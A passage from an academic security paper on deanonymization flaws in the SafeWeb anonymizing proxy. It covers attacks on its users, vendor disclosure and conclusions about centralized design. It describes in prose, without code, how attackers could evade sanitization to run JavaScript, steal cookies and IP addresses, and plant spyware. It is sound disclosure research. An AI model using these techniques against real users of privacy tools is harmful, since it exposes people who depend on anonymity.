is potentially much better evidence. 

SafeWeb has basically taunted the governments of 
China, Saudi Arabia, Bahrain, and United Arab 
Emirates with this technology in a strange kind of BB-
gun diplomacy effort [21,39].  The stakes are real for 
users in these countries, yet we don’t see any evidence 
that they understood the limits of the SafeWeb system. 
We don’t even know whether anyone has ever 
attempted to identify SafeWeb users outside of a 
laboratory, but it’s certainly possible.  There is no 
visible indication to the user when the attacks are 

attempted, and since the attacks do not target the 
SafeWeb server computers themselves, there is little 
reason that SafeWeb would have detected them either.  
An attacker would presumably want to leave the 
vulnerabilities intact in order to use them again later. 

8.1. Web servers attacking their own users 

Attacks such as these could be a very useful aid to 
investigators.  For example, the FBI could insert 
exploit code onto its “Amerithrax” Web page [11] in 
order to track down visitors who attempt to use 
SafeWeb to anonymously read about its investigation 
into the U.S. anthrax attacks of October 2001.  (The 
FBI’s DCS-1000 Carnivore system would not help 
with this: it is only useful when placed near the 
investigation target, which we assume is still unknown.  
Besides, Carnivore can’t decrypt the SSL connection 
between the suspect and SafeWeb [23].) 

8.2. Passive attack resistance 

Some of SafeWeb’s users simply do not want their 
identity recorded in log files to be mined later and are 
not concerned that someone will actively try to identify 
them.  SafeWeb does help keep IP addresses out of 
routinely maintained Web server log files.  Although 
our attack samples are short, they seem unlikely to 
arise without malicious intent.   

However, we are left wondering about a November 
2001 Usenet article [56], in which a SafeWeb user 
wrote: 

I am trying out Safeweb which is a proxy server 
that uses SSL between my computer and 
safeweb.com.  For a lot of typical sites like 
yahoo.com and msnbc.com I get the prompt 
"This page contains both secure and nonsecure 
items.  Do you want to display the nonsecure 
items?"  Why would I be getting nonsecure 
items if everything is going through a SSL proxy 
server? 

We see two possibilities.  The first is that some content 
evaded the rewriting engine unsanitized. Internet 
Explorer saw that this non-SSL content (referred to by 
the original, bare URL) appeared within SSL content 
delivered from safeweb.com, and so it raised the 
dialog.  This is unlikely to be a malicious attack, since 
a clever attacker would have avoided the dialog simply 



 

by making sure that any URLs used in the attack also 
used SSL.   

The second possibility is that the user simply witnessed 
bugs in Internet Explorer prior to version 6.0 that can 
spuriously cause the warning dialog box to appear [30].   

9. Vendor response 

We notified SafeWeb of our first discoveries in 
October 2001.  At that time, they acknowledged 
vulnerabilities along the lines of our observations and 
indicated they would investigate.  We also submitted a 
draft version of this paper to both SafeWeb and 
PrivaSec in January 2002.  In response, SafeWeb 
explained that their consumer service is no longer in 
operation, and that they would try to address these 
vulnerabilities if they reestablish their service.  They 
wrote that during the past year they have been 
concentrating on the enterprise security market, in 
which these vulnerabilities are unlikely to play any 
role.  They also noted that they have no evidence that 
any widespread attacks have taken place.  After a 
version of this paper appeared in February 2002, 
SafeWeb delivered modified code to PrivaSec that 
allowed its service to work even if JavaScript is 
disabled at the browser level (cf. Section 6.2). 

PrivaSec stated that they are reviewing their options 
before launching a subscription service based on the 
SafeWeb technology.  PrivaSec’s service deletes the 
master cookie at the end of each browser session by 
default, so the master cookie is not quite as valuable to 
an attacker when it is first obtained.  However, as 
described in Section 5.1.1, this setting can be changed 
by an attacker (unless cookies are disabled at the 
browser level).  At the time of writing, all of our 
attacks still work within PrivaSec’s technology 
preview. 

10. Conclusion 

Privacy and anonymity tools face the surreal task of  
removing data intrinsic to an environment in the hope 
that this will measurably decrease real (and imagined) 
user risks.  When such an intangible service is offered, 
it should be no surprise to see users flocking to the 
friendliest solution that claims to work.  

Still, we were surprised to find that a high-profile 
external review team did not object to weaknesses such 
as those described in this paper, according to 
ComputerWorld magazine [60]: 

Jon Chun, president and co-founder of 
SafeWeb, said his company's relationship with 
In-Q-Tel has been critical to its technology 
development.  

"It has put SafeWeb and our technologies 
through the rigors of the CIA's stringent review 
process, which far exceeds those of the ordinary 
enterprise client," said Chun. "This is a very 
significant seal of approval."  

Adding in privacy and security features can put the 
user at greater risk of privacy and security problems if 
an attacker can co-opt enough of the infrastructure.  
We have seen how attackers can easily evade 
SafeWeb’s sanitization effort and gain unrestricted 
access to the JavaScript interpreter.  Once there, they 
can exploit SafeWeb’s rejection of the “same origin” 
rule for JavaScript frames and its master cookie design 
to obtain the victim computer’s IP address and cookies, 
and even deposit spyware for the remainder of the 
SafeWeb session.  SafeWeb’s design undermined not 
only the privacy properties offered by SafeWeb, but 
also the standard privacy features of Web browsers.  

SafeWeb’s failure to sanitize simple equivalents for 
dangerous constructs typifies the perils of ad hoc 
security programming. Security systems ought to be 
designed to allow only what is believed to be safe, 
rather than preventing that which is known to be 
unsafe. 

Finally, centralizing what was previously separate is 
not an ideal way to provide privacy. Whereas the 
Internet was designed in part on the principle of “don’t 
put all your eggs in one basket” (e.g., stateless routers), 
SafeWeb appears to be based on the Pudd’nhead 
Wilson design principle: “put all your eggs in one 
basket – and watch that basket!” [57]. In the SafeWeb 
scheme, all cookies previously the separate property of 
a.com, b.com, c.com, etc., now all belong to 
safeweb.com – thus allowing what would otherwise be 
cross-domain cookie scarfing. Similarly, what would 
otherwise be cross-domain frame attacks are allowed 
because everything is happening under SafeWeb’s 
auspices. And instead of a user scattering evidence of 
their Web site visits across a myriad of Web site logs, 
they are now conveniently stockpiled at a single 
location, safeweb.com (albeit deleted after seven days). 
Some other anonymizing services share this same “all 



 

your base are belong to us” characteristic, but the other 
anonymizers decided to forgo JavaScript. By providing 
both a centralized egg basket and a Turing-complete 
language with which to access it, SafeWeb can turn its 
users into sitting ducks.  
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